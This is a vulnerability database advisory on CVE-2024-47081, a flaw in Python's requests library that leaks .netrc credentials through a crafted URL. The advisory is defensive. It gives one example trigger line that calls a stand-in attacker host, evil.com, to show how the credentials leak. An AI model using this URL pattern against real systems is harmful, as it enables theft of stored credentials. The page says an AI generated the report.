Cloud Vulnerability DB
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Vulnerability DatabaseCVE-2024-47081
CVE-2024-47081:
Linux Debian vulnerability analysis and mitigation
Overview
The PSF requests library (Python) contains a vulnerability (CVE-2024-47081) that leaks .netrc credentials to third parties due to incorrect URL processing. The vulnerability was initially reported to library maintainers on September 12, 2024. When making specific API calls with a specially crafted URL format, the library can expose sensitive credentials to unintended destinations (Openwall).
Technical details
The vulnerability is triggered when making API calls in the format requests.get('http://example.com:@evil.com/'). If .netrc credentials are configured for example.com, they are leaked to evil.com. The root cause is identified in the code at https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245 (Openwall).
Impact
When exploited, this vulnerability leads to the exposure of sensitive .netrc credentials to potentially malicious third-party servers, which could result in unauthorized access to various services using the leaked credentials (Openwall).
Mitigation and workarounds
As a workaround, users can explicitly specify credentials on every API call to disable .netrc access. No permanent fix is available as of the vulnerability disclosure (Openwall).
Additional resources
Source: This report was generated using AI
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